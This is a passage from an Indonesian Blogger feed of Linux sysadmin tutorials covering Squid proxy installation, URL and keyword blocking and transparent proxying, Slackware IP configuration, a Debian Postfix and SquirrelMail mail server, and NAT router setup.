direktory cache :&lt;br /&gt;&lt;br /&gt;Buat direktory cache squid. (jika install dari paket SlackBUild)&lt;br /&gt;roor@komputer7:~# mkdir /var/log/squid/cache&lt;br /&gt;roor@komputer7:~# chown -hR squid:squid /var/log/squid/cache&lt;br /&gt;Buat direktory cache squid (Jika Instal dari source )&lt;br /&gt;roor@komputer7:~# mkdir /usr/local/squid/var/cache&lt;br /&gt;roor@komputer7:~# chown -hR squid:squid /usr/local/squid/var/cache&lt;br /&gt;&lt;br /&gt;From the Source :&lt;br /&gt;&lt;br /&gt;…. Ambil squid versi terbaru :&lt;br /&gt;&lt;br /&gt;http://www.squid-cache.org/Versions/v2/2.6/squid-2.6.STABLE14.tar.gz&lt;br /&gt;&lt;br /&gt;Kopikan file tersebut di /usr/share/squid dan unpack source code tersebut.&lt;br /&gt;roor@komputer7:~# tar -xvzf squid-2.6.STABLE14.tar.gz&lt;br /&gt;masuk kedirektory squid dan lakukan konfigurasi&lt;br /&gt;roor@komputer7:~#./configure&lt;br /&gt;Lakukan Make&lt;br /&gt;roor@komputer7:~# make&lt;br /&gt;Install program hasil kompilasi.&lt;br /&gt;roor@komputer7:~# make install&lt;br /&gt;Edit awal konfig squid di /usr/local/squid/etc/squid.conf&lt;br /&gt;cache_mem 256 MB&lt;br /&gt;cache_dir ufs /usr/local/squid/var/cache 1000 16 256&lt;br /&gt;acl our_networks src 192.168.1.0/24 192.168.2.0/24&lt;br /&gt;http_access allow our_networks&lt;br /&gt;&lt;br /&gt;Sebagai root lakukan instruksi :&lt;br /&gt;roor@komputer7:~# /usr/local/squid/sbin/squid -Z&lt;br /&gt;Perintah diatas untuk membuat swap cache yang akan digunakan squid.&lt;br /&gt;Sekarang Saatnya mencoba :&lt;br /&gt;roor@komputer7:~# /usr/local/squid/sbin/squid -D&lt;br /&gt;From SlackBuild :&lt;br /&gt;&lt;br /&gt;….Jika Anda ingin mengkompile squid lewat script SlackBUild.&lt;br /&gt;Ambil script Slackbuild squid versi terbaru :&lt;br /&gt;&lt;br /&gt;http://slackbuilds.org/slackbuilds/12.0/network/squid.tar.gz&lt;br /&gt;&lt;br /&gt;Unpack file squid.tar.gz pada direktory tertentu. (misal /usr/src/squid)&lt;br /&gt;Abdul Rais Husain | ICT Center Majene3&lt;br /&gt;&lt;br /&gt;Ambil source squid&lt;br /&gt;&lt;br /&gt;http://www.squid-cache.org/Versions/v2/2.6/squid-2.6.STABLE14.tar.gz&lt;br /&gt;&lt;br /&gt;Kopikan file source squid kedalam direktory slackbuild squid (yang baru Anda unpack).&lt;br /&gt;Kemudian jalankan script squid.SlackBuild.&lt;br /&gt;roor@komputer7:~# ./squid.SlackBuild&lt;br /&gt;Setelah proses kompilasi dan pembentukan paket squid selesai, install squid. (Hasil slacbuild&lt;br /&gt;diletakkan di /tmp)&lt;br /&gt;masuk kedirektory /tmp dan lakukan instruksi :&lt;br /&gt;roor@komputer7:~# installpkg squid-*.tgz&lt;br /&gt;Oke ! Paket squid sudah terinstall&lt;br /&gt;Edit awal konfig squid di /etc/squid/squid.conf&lt;br /&gt;cache_mem 256 MB&lt;br /&gt;cache_dir ufs /var/log/squid/cache 1000 16 256&lt;br /&gt;acl our_networks src 192.168.1.0/24 192.168.2.0/24&lt;br /&gt;http_access allow our_networks&lt;br /&gt;Sebagai root lakukan instruksi :&lt;br /&gt;roor@komputer7:~# squid -z&lt;br /&gt;Perintah diatas untuk membuat swap cache yang akan digunakan squid.&lt;br /&gt;&lt;br /&gt;Sekarang Saatnya mencoba :&lt;br /&gt;&lt;br /&gt;roor@komputer7:~# squid -D&lt;br /&gt;Untuk selanjutnya untuk start squid, Anda dapat menggunakan rc.squid.&lt;br /&gt;Ubah ke 755 permission rc.squid&lt;br /&gt;roor@komputer7:~# chmod 755 /etc/rc.d/rc.squid&lt;br /&gt;Pada waktu booting pertamakali, squid akan diaktifkan.&lt;br /&gt;&lt;br /&gt;Blok Situs dan Keyword dengan ACL&lt;br /&gt;&lt;br /&gt;Untuk membatasi akses terhadap suatu situs tertentu kadang diperlukan. Semisal di sekolah anda&lt;br /&gt;ingin mem-blok beberapa situs porno dan keyword pencarian.&lt;br /&gt;Pada tulisan ini dibahas mengenai blok terhadap beberapa alamat situs tertentu ataupun blok&lt;br /&gt;pencarian di google dengan menggunakan keyword tertentu.&lt;br /&gt;Disini akan dibahas blok suatu situs dengan menggunakan ACL dari squid.&lt;br /&gt;Berikut ini adalah beberapa langkah-nya :&lt;br /&gt;&lt;br /&gt;1. Buat sebuah file daftar alamat situs.&lt;br /&gt;&lt;br /&gt;Buat sebuah file yang berisi mengenai alamat dari situs – situs dan keyword yang mau&lt;br /&gt;anda blok. Perhatikan letak dari file tersebut ! (karena anda harus mendefinisikan path&lt;br /&gt;dari file tersebut di squid.conf)&lt;br /&gt;&lt;br /&gt;Abdul Rais Husain | ICT Center Majene4&lt;br /&gt;Contoh isi file :&lt;br /&gt;&lt;br /&gt;http://xxx.com&lt;br /&gt;&lt;br /&gt;http://www.porno.com&lt;br /&gt;&lt;br /&gt;sex&lt;br /&gt;seks&lt;br /&gt;sek&lt;br /&gt;&lt;br /&gt;2. Tambahkan rule ACL di squid.conf&lt;br /&gt;&lt;br /&gt;Misalkan nama file yang baru anda buat tadi “situsterlarang.txt”.&lt;br /&gt;Edit squid.conf anda dan tambahkan beberapa rule di bawah ini :&lt;br /&gt;acl NamaACL url_regex -i “path_dari_file_anda”&lt;br /&gt;contoh :&lt;br /&gt;acl porno url_regex -i “/etc/squid/situsterlarang.txt”&lt;br /&gt;http_access deny NamaACL&lt;br /&gt;contoh :&lt;br /&gt;http_access deny porno&lt;br /&gt;Perhatikan untuk letak dari http_access deny porno. Letakkan baris ini sebelum&lt;br /&gt;http_access deny all&lt;br /&gt;3. Restart squid anda, lalu coba lakukan test dari client&lt;br /&gt;&lt;br /&gt;Transparent Proxy&lt;br /&gt;&lt;br /&gt;Mengapa Transparent Proxy ?&lt;br /&gt;Mengisikan setting proxy untuk jumlah client yang sedikit mungkin bukan masalah besar, tapi&lt;br /&gt;jika jumlah client yang banyak juga beragamnya browser ada baiknya membuat transparent&lt;br /&gt;proxy, yang memaksa setiap browser client untuk menggunakan proxy.&lt;br /&gt;Tanpa Transparant proxy, besar kemungkinan client dapat mem-bypas proxy (dengan segala&lt;br /&gt;aturannya)untuk melakukan koneksi langsung.&lt;br /&gt;Tambahkan configurasi berikut di squid.conf&lt;br /&gt;Squid versi 2.6&lt;br /&gt;http_port 3128 transparent&lt;br /&gt;Squid versi 2.5&lt;br /&gt;httpd_accel_host virtual&lt;br /&gt;httpd_accel_port 80&lt;br /&gt;httpd_accel_with_proxy on&lt;br /&gt;httpd_accel_uses_host_header on&lt;br /&gt;Konfigurasi tersebut berfungsi jika pada proses kompilasi opsi untuk transparant proxy&lt;br /&gt;diaktifkan, silahkan melihat manual kompilasi squid untuk mengaktifkan fungsi tersebut.&lt;br /&gt;Selanjutnya adalah memaksa akses ke port 80 (http) melalui proxy.&lt;br /&gt;Di command line ketikkan :&lt;br /&gt;iptables -t nat -A PREROUTING -s 192.168.1.0/24 -d 0/0 -p tcp –dport 80 -j&lt;br /&gt;REDIRECT –to 3128&lt;br /&gt;Abdul Rais Husain | ICT Center Majene5&lt;br /&gt;&lt;br /&gt;Dengan asumsi bahwa router (gateway) dan proxy server berapa pada mesin linux yang sama,&lt;br /&gt;silahkan menyesuaikan jika sekiranya mesin proxy berbeda dengan router/gateway. Dengan&lt;br /&gt;demikian setiap kali ada akses ke port 80 (http) akan di alihkan ke 3128 (proxy).&lt;br /&gt;&lt;br /&gt;SquidNote&lt;br /&gt;&lt;br /&gt;1. Kompleksitas.&lt;br /&gt;Ini adalah ‘musuh utama’ . Berhadapan dengan ratusan baris squid.conf. Apa yang Anda&lt;br /&gt;inginkan dari squid ?&lt;br /&gt;Saya mencatat, cukup 4 baris modifikasi dari squid.conf sudah membuat squid Anda&lt;br /&gt;berjalan normal.&lt;br /&gt;o cache_mem 256 MB&lt;br /&gt;Ganti besar memory 1/3 dari kapasitas memory Anda. Memang tidak ada&lt;br /&gt;patokan pasti. Jika Anda punya memory 512MB, dan dikhususkan buat&lt;br /&gt;squid, berjalan di run level 3, mungkin Anda bisa mengganti dengan&lt;br /&gt;400MB Hehehe&lt;br /&gt;o cache_dir ufs /var/log/squid/cache 1000 16 256&lt;br /&gt;Berapa besar kapasitas Hardisk Anda ? Angka 1000 menandakan 1000MB&lt;br /&gt;untuk cache squid di hardisk. Ingin lebih ? Silahkan !&lt;br /&gt;o acl our_networks src 192.168.1.0/24 192.168.2.0/24&lt;br /&gt;Baris di atas menunjukkan bahwa komputer dengan alamat 192.168.1.0&lt;br /&gt;sampai 192.168.1.255 dan komputer dengan address 192.168.2.0 sampai&lt;br /&gt;192.168.2.255 merupakan our_networks.&lt;br /&gt;o http_access allow our_networks&lt;br /&gt;Baris diatas memgatakan, squid hanya mengijinkan cache http pada alamat&lt;br /&gt;yang disebutkan our_networks&lt;br /&gt;2. Identitas.&lt;br /&gt;•?cache_mgr emailku@blablabla.com&lt;br /&gt;Mungkin Anda ingin mengganti Identitas cache_mgr dengan e-mail Anda ?&lt;br /&gt;3. Jalankan squid !.&lt;br /&gt;•?#squid -D&lt;br /&gt;Ini adalah cara ‘kasar’ untuk menjalankan squid. :) Ingat, setiap mengganti&lt;br /&gt;squid.conf restart squid Anda. #squid restart agar konfig baru di terima. Ini juga&lt;br /&gt;cara ‘kasar’ Hehehe&lt;br /&gt;4. Set Browser client Anda !.&lt;br /&gt;Set browser client Anda untuk mengarah ke proxy server. Pada Firefox, Klik Edit–&lt;br /&gt;&gt;Preferences–&gt;Advanced–&gt;Networks–&gt;Settings–&gt;Manual proxy Configuration&lt;br /&gt;Isi dengan IP Proxy server Anda. Isikan juga port proxy (default 3128)&lt;br /&gt;Abdul Rais Husain | ICT Center Majene6&lt;br /&gt;&lt;br /&gt;Buat admin yang malas&lt;br /&gt;&lt;br /&gt;Mengisikan setting proxy untuk jumlah client yang sedikit mungkin bukan masalah besar,&lt;br /&gt;tapi jika jumlah client yang banyak juga beragamnya browser ada baiknya membuat&lt;br /&gt;transparent proxy, yang memaksa setiap browser client untuk menggunakan proxy.&lt;br /&gt;5. Jika Ingin start saat boot !&lt;br /&gt;Letakkan script ini di /etc/rc.d/rc.local&lt;br /&gt;if [ -x /etc/rc.d/rc.squid ]; then&lt;br /&gt;/etc/rc.d/rc.squid start&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-1040240521551939869?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/1040240521551939869/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/02/membuat-router-pada-slackware.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/1040240521551939869'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/1040240521551939869'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/02/membuat-router-pada-slackware.html' title='Membuat Router Pada Slackware'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-7770622283484495226</id><published>2011-02-21T18:07:00.000-08:00</published><updated>2011-02-21T18:27:00.067-08:00</updated><title type='text'>Menseting IP pada Slackware</title><content type='html'>Dalam konfigurasi jaringan di slackware, sebenarnya udah ada program exstra pada paket instalasi slackware 12.1/2.. Jika ente blum install paket exstra jaringan contohnya wicd.. Dapat juga dilakukan konfigurasi via konsole. Dikonsole ini, ada juga 2 cara yang dapat dilakukan.. yaitu semi gui dengan netconfig atau bahkan ente langsung edit manual file config jaringannya..&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;saya akan mencoba share pengalaman tentang setting jaringan pada slackware.&lt;br /&gt;&lt;br /&gt;Cara Pertama :&lt;br /&gt;&lt;br /&gt;File configurasi card jaringan berada pada /etc/rc.d/rc.inet1.conf, tinggal edit aja dengan editor kesayangan ente ndiri.. Ane makek vim aja yach..&lt;br /&gt;&lt;br /&gt;    #vim /etc/rc.d/rc.inet1.conf&lt;br /&gt;&lt;br /&gt;Contoh isi file rc.inet1.conf ane adalah :&lt;br /&gt;&lt;br /&gt;    # =============================================================================&lt;br /&gt;&lt;br /&gt;    # Config information for eth0:&lt;br /&gt;&lt;br /&gt;IPADDR[0]=”192.168.1.156″&lt;br /&gt;NETMASK[0]=”255.255.255.240″&lt;br /&gt;USE_DHCP[0]=”"&lt;br /&gt;DHCP_HOSTNAME[0]=”"&lt;br /&gt;&lt;br /&gt;# Config information for eth1:&lt;br /&gt;IPADDR[1]=”"&lt;br /&gt;NETMASK[1]=”"&lt;br /&gt;USE_DHCP[1]=”"&lt;br /&gt;DHCP_HOSTNAME[1]=”"&lt;br /&gt;&lt;br /&gt;# Config information for eth2:&lt;br /&gt;IPADDR[2]=”"&lt;br /&gt;NETMASK[2]=”"&lt;br /&gt;USE_DHCP[2]=”"&lt;br /&gt;DHCP_HOSTNAME[2]=”"&lt;br /&gt;&lt;br /&gt;# Config information for eth3:&lt;br /&gt;IPADDR[3]=”"&lt;br /&gt;NETMASK[3]=”"&lt;br /&gt;USE_DHCP[3]=”"&lt;br /&gt;DHCP_HOSTNAME[3]=”"&lt;br /&gt;&lt;br /&gt;# Default gateway IP address:&lt;br /&gt;GATEWAY=”192.168.1.145″&lt;br /&gt;&lt;br /&gt;Yang perlu ente perhatikan adalah tulisan yang diberi tanda tebal diatas. Jika card ente dideteksi sebagai eth0, maka yang diconfig yaitu IPADDR[0] dan jika dideteksi sebagai eth1, maka yang di configurasi dibagian IPADDR[1]. Gantilah Ip adress dan netmask sesuai dengan IP jaringan ente. Kemudian masukkan IP GATEWAY jaringan anda untuk akses keluar jariangan, misalnya internet.&lt;br /&gt;&lt;br /&gt;Terakhir, tinggal isi DNS servernya yang berada di /etc/resolv.conf, berikut contoh pengisian DNS server di kos saya yang menggunakan ISP pesat Yogya.&lt;br /&gt;&lt;br /&gt;    nameserver 202.95.156.6&lt;br /&gt;    nameserver 202.95.156.13&lt;br /&gt;&lt;br /&gt;DNS server diisi apabila ingin terhubung ke internet dan telah ditentukan oleh ISP yang anda gunakan..&lt;br /&gt;&lt;br /&gt;Sampe disini setingan jaringan sudah rebes dilakukan, selanjutnya tinggal restart card LAN ente untuk melihat perubahan dan langsung menikmati kompie ente terhubung dengan jaringan. Pertama hidupkan dlu card LAN ente jika blon aktif :&lt;br /&gt;&lt;br /&gt;    #ifconfig eth0 up&lt;br /&gt;&lt;br /&gt;restart service jaringannya dengan :&lt;br /&gt;&lt;br /&gt;    #/etc/rc.d/rc.inet1 restart&lt;br /&gt;&lt;br /&gt;Selesai de configurasi jaringan dengan cara IP statis.. Selanjutnya car setting jaringan dengan semi GUI.. he.. masih konsole blue screen.&lt;br /&gt;&lt;br /&gt;Cara kedua&lt;br /&gt;&lt;br /&gt;Cara ini lebih simple dari pada cara pertama, karena hanya membutuhkan 1 command console doang… Command yang dibutuhkan adalah “netconfig” dengan akses root:&lt;br /&gt;&lt;br /&gt;    #netconfig&lt;br /&gt;&lt;br /&gt;Enter Host Name –&gt; Isi dengan nama komputer ente, misalnya karuwak (he..he..)&lt;br /&gt;&lt;br /&gt;Enter DomainName For …… (host name) –&gt; masukin domain ente kalau ada, misalnya isi dengan karuwak.blog.friendster.com.. he.&lt;br /&gt;&lt;br /&gt;Set IP Address For …… (Doamin name) –&gt; Sesuaikan dengan jaringan ente.. misalnya ente ipnya statis.. pilih static IP.&lt;br /&gt;&lt;br /&gt;Enter IP Address For …… (Doamin name) –&gt; Masukan IP address yang akan ente gunakan…&lt;br /&gt;&lt;br /&gt;Enter Netmask For Local Network –&gt; Masukan Netmasknya.. yang sering digunakan adalah kelas C dengan netmask 255.255.255.0 yang berfungsi sebagai penentu banyak host yang terhubung ke jaringan.&lt;br /&gt;&lt;br /&gt;Enter Gateway Address –&gt; Masukan Gateway Address jaringan ente..&lt;br /&gt;&lt;br /&gt;Nah, selanjutnya ente akan ditanyain “Use A Name Server” ??? Jika ente terhubung ke internet menggunakan DNS server, tinggal pilih yes dan masukin DNS servernya..&lt;br /&gt;&lt;br /&gt;Nah, ampe disini lo selesai de.. ntar diperlihatkan dalam sebuah form tentang semua konfigurasi yang telah kita masukan.. jika sudah sesuai.. tinggal di “Accept” aja / atau restart langsung hasil perubahannya biar langsung bisa dilihat perubahannya… Disini ada kekurangannya, soalnya DNS server hanya bisa dimasukkin satu saja… sedangkan biasanya ada lebih dari satu DNS server yang disediakan oleh ISP sebagai cadangan koneksi… Untuk itu kita harus menambahkan DNS-nya pada /etc/resolv.conf seperti cara pertama… Setelah ntu restart lagi de card lan ente untuk melihat hasil perubahannya seperti cara pertama….&lt;br /&gt;&lt;br /&gt;Tinggal Loe pilih suka yang mana?? Intinya hanya satu, sama2 configurasi jaringan.. he… Untuk meyakinkan bahwa configurasi anda udah jalan, coba check dengan command “ifconfig” (tanpa tanda kutip) dengan akses root.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-7770622283484495226?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/7770622283484495226/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/02/menseting-ip-pada-slackware.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7770622283484495226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7770622283484495226'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/02/menseting-ip-pada-slackware.html' title='Menseting IP pada Slackware'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-7705344160127780947</id><published>2011-01-24T20:08:00.000-08:00</published><updated>2011-01-24T21:22:45.761-08:00</updated><title type='text'>Membuat Mail Server Debian</title><content type='html'>Beginilah cara menginstall mail server&lt;br /&gt;1. Install postfix courier-imap  php4-imap courier-pop&lt;br /&gt;perintahnya :&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-get install postfix courier-imap  php5-imap courier-pop&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Pada waktu penginstallan perhatikan setting dibawah ini :&lt;br /&gt;  Opsi : Maildir   = No&lt;br /&gt;  Opsi : Internet Site  -&gt; OK&lt;br /&gt;Selanjutnya lakukan konfigurasi postfix pada  &lt;span style="font-style:italic;"&gt;file main.cf&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;#nano  /etc/postfix/main.cf&lt;/span&gt;&lt;br /&gt;contoh konfigurasi :&lt;br /&gt;——————&lt;br /&gt;myhostname = smkn2solo.sch.id&lt;br /&gt;mydomain = smkn2solo.sch.id&lt;br /&gt;alias_maps = hash:/etc/aliases&lt;br /&gt;alias_database = hash:/etc/aliases&lt;br /&gt;myorigin = /etc/mailname&lt;br /&gt;mydestination = $mydomain, localhost&lt;br /&gt;relayhost =&lt;br /&gt;#mailbox_command = procmail -a “$EXTENSION”&lt;br /&gt;mailbox_size_limit = 0&lt;br /&gt;recipient_delimiter = +&lt;br /&gt;inet_interfaces = all&lt;br /&gt;home_mailbox = Maildir/&lt;br /&gt;mynetworks = 127.0.0.0/8 192.168.100.0/24&lt;br /&gt;&lt;br /&gt;2.    Install squirrelmail&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-get install squirrelmail&lt;/span&gt;&lt;br /&gt;Jalankan perintah dibawah ini&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;#squirrelmail-configure&lt;/span&gt;&lt;br /&gt;buat konfigurasinya…&lt;br /&gt;&lt;span style="font-style:italic;"&gt;tekan D dan ketik courier&lt;br /&gt;server software : courier&lt;/span&gt;&lt;br /&gt;Quit dan simpan kofigurasi&lt;br /&gt;&lt;br /&gt;3.    Buat Virtualhost squirrelmail dengan cara edit  /etc/apache2/apache2.conf&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;#nano /etc/apache2/apache2.conf&lt;/span&gt;&lt;br /&gt;Tambahkan dibaris terakhir script di bawah ini :&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Include /etc/squirrelmail/apache.conf&lt;/span&gt;&lt;br /&gt;kemudian restart service apache2&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# /etc/init.d/apache2 restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;4.    Membuat folder Maildir secara Otomatis&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# cd /etc/skel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# maildirmake Maildir&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;5.    Buat user dipta dan amati direktory /home/dipta&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;#adduser dipta&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;6.    Testing squirrelmail&lt;br /&gt;Buka internet browser :&lt;br /&gt;Address arahkan ke 192.168.100.1/squirrelmail&lt;br /&gt;Cek error : # tail -f /var/log/[mail.log | mail.info | mail.err]&lt;br /&gt;Untuk Login mail server, loginlah sesuai user anda sendiri-sendiri&lt;br /&gt;&lt;br /&gt;untuk melakukan test konfigurasi mail server pada local mesin ikuti langkah-langkah&lt;br /&gt;di bawah ini :&lt;br /&gt;masuk ke localmesin&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;debian:~# telnet localhost 25&lt;/span&gt;&lt;br /&gt;   Trying 127.0.0.1...&lt;br /&gt;   Connected to localhost.&lt;br /&gt;   Escape character is '^]'.&lt;br /&gt;   220 lks30.sch.id ESMTP Postfix (Debian/GNU)&lt;br /&gt;kemudian ketikan perintah di bawah ini&lt;br /&gt;Anda : ehlo virtual.test&lt;br /&gt;Server : 250-mailtest&lt;br /&gt;250-PIPELINING&lt;br /&gt;250-SIZE 10240000&lt;br /&gt;250-VRFY&lt;br /&gt;250-ETRN&lt;br /&gt;250-STARTTLS&lt;br /&gt;250-AUTH LOGIN PLAIN DIGEST-MD5 CRAM-MD5&lt;br /&gt;250-AUTH=LOGIN PLAIN DIGEST-MD5 CRAM-MD5&lt;br /&gt;250 8BITMIME&lt;br /&gt;Anda : mail from:admin@smkn2solo.sch.id&lt;br /&gt;Server : 250 Ok&lt;br /&gt;Anda : rcpt to:dipta@smkn2solo.sch.id&lt;br /&gt;Server : 250 Ok&lt;br /&gt;Anda : data&lt;br /&gt;Server : 354 End data with .&lt;br /&gt;Anda : Subject:mencoba kirim email&lt;br /&gt;This is a test email&lt;br /&gt;. (tanda titik)&lt;br /&gt;Server : 250 Ok: queued as ABC1D1C123&lt;br /&gt;Anda : quit&lt;br /&gt;Server : 221 BYE&lt;br /&gt;jika berhasil maka berarti mail server anda berjalan sukses.&lt;br /&gt;&lt;br /&gt;dibuat oleh andi novianto&lt;br /&gt; &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-7705344160127780947?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7705344160127780947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7705344160127780947'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/01/membuat-mail-server-debian.html' title='Membuat Mail Server Debian'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-8788392815056829959</id><published>2011-01-23T16:43:00.000-08:00</published><updated>2011-01-23T20:12:09.884-08:00</updated><title type='text'>Setting Router dengan Debian Lenny</title><content type='html'>1. Setting ip address dengan mengedit file /etc/network/interfaces &lt;br /&gt;   &lt;span style="font-weight:bold;"&gt;debian:~# nano /etc/network/interfaces&lt;/span&gt;&lt;br /&gt;   #lalu pastikan script ip anda seperti di bawah ini&lt;br /&gt;     auto lo&lt;br /&gt;     iface lo inet loopback&lt;br /&gt;&lt;br /&gt;     allow-hotplug eth0&lt;br /&gt;     auto eth0&lt;br /&gt;     iface eth0 inet static&lt;br /&gt;        address 219.83.63.151&lt;br /&gt;        netmask 255.255.255.240&lt;br /&gt;        network 192.168.24.0&lt;br /&gt;        broadcast 219.83.63.159&lt;br /&gt;        gateway 219.83.63.145&lt;br /&gt;        dns-nameservers 202.155.0.10&lt;br /&gt;&lt;br /&gt;     allow-hotplug eth1&lt;br /&gt;     auto eth1&lt;br /&gt;     iface eth1 inet static&lt;br /&gt;        address 192.168.11.62&lt;br /&gt;        netmask 255.255.255.192&lt;br /&gt;        network 192.168.11.0&lt;br /&gt;        broadcast 192.168.11.63&lt;br /&gt;        gateway 192.168.33.1&lt;br /&gt;&lt;br /&gt;   #Kemudian restart jaringan&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;debian:~#/etc/init.d/networking restart&lt;/span&gt;&lt;br /&gt;2.  Untuk mengecek apakah konfigurasi sudah benar dengan perintah&lt;br /&gt;    &lt;span style="font-weight:bold;"&gt;debian:~# ifconfig&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;    eth0      Link encap:Ethernet  HWaddr 00:10:83:01:e6:77&lt;br /&gt;          inet addr:219.83.63.151  Bcast:219.83.63.159  Mask:255.255.255.240&lt;br /&gt;          inet6 addr: fe80::210:83ff:fe01:e677/64 Scope:Link&lt;br /&gt;          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;          RX packets:180389 errors:18 dropped:0 overruns:0 frame:18&lt;br /&gt;          TX packets:6881 errors:7 dropped:0 overruns:0 carrier:7&lt;br /&gt;          collisions:70 txqueuelen:1000&lt;br /&gt;          RX bytes:16215501 (15.4 MiB)  TX bytes:1504204 (1.4 MiB)&lt;br /&gt;          Interrupt:20 Base address:0xdf00&lt;br /&gt;&lt;br /&gt;eth1      Link encap:Ethernet  HWaddr 00:24:01:ed:0e:02&lt;br /&gt;          inet addr:192.168.11.62  Bcast:192.168.11.63  Mask:255.255.255.192&lt;br /&gt;          UP BROADCAST MULTICAST  MTU:1500  Metric:1&lt;br /&gt;          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;          collisions:0 txqueuelen:1000&lt;br /&gt;          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;          Interrupt:19 Base address:0xdc00&lt;br /&gt;&lt;br /&gt;lo        Link encap:Local Loopback&lt;br /&gt;          inet addr:127.0.0.1  Mask:255.0.0.0&lt;br /&gt;          inet6 addr: ::1/128 Scope:Host&lt;br /&gt;          UP LOOPBACK RUNNING  MTU:16436  Metric:1&lt;br /&gt;          RX packets:76 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;          TX packets:76 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;          collisions:0 txqueuelen:0&lt;br /&gt;          RX bytes:7620 (7.4 KiB)  TX bytes:7620 (7.4 KiB)&lt;br /&gt;3. Aktifkan ip forward-nya edit file nano /etc/sysctl.conf dengan mengisikan baris berikut :&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;debian:~# nano /etc/sysctl.conf&lt;/span&gt;&lt;br /&gt;        net.ipv4.ip_forward = 1&lt;br /&gt; net.ipv4.conf.default.forwarding = 1&lt;br /&gt; net.ipv4.conf.all.accept_source_route = 1&lt;br /&gt;4. Tambahkan script baris perintah ini pada /etc.rc.local&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;debian:~# nano /etc/rc.local&lt;/span&gt;&lt;br /&gt;        echo “1”&gt;/proc/sys/net/ipv4/ip_forward&lt;br /&gt; iptable –t nat –A POSTROUTING –o eth0 –j MASQUERADE&lt;br /&gt;5. &lt;span style="font-weight:bold;"&gt;debian:~# chmod +x chmod +x /etc/rc.local&lt;/span&gt;&lt;br /&gt;6. Restart jaringan dengan perintah /etc/init.d/networking restart&lt;br /&gt;lalu periksa jaringan dari klien ke router, terus ke dns baru ke internet&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-8788392815056829959?l=kluthix.blogspot.com' alt='' 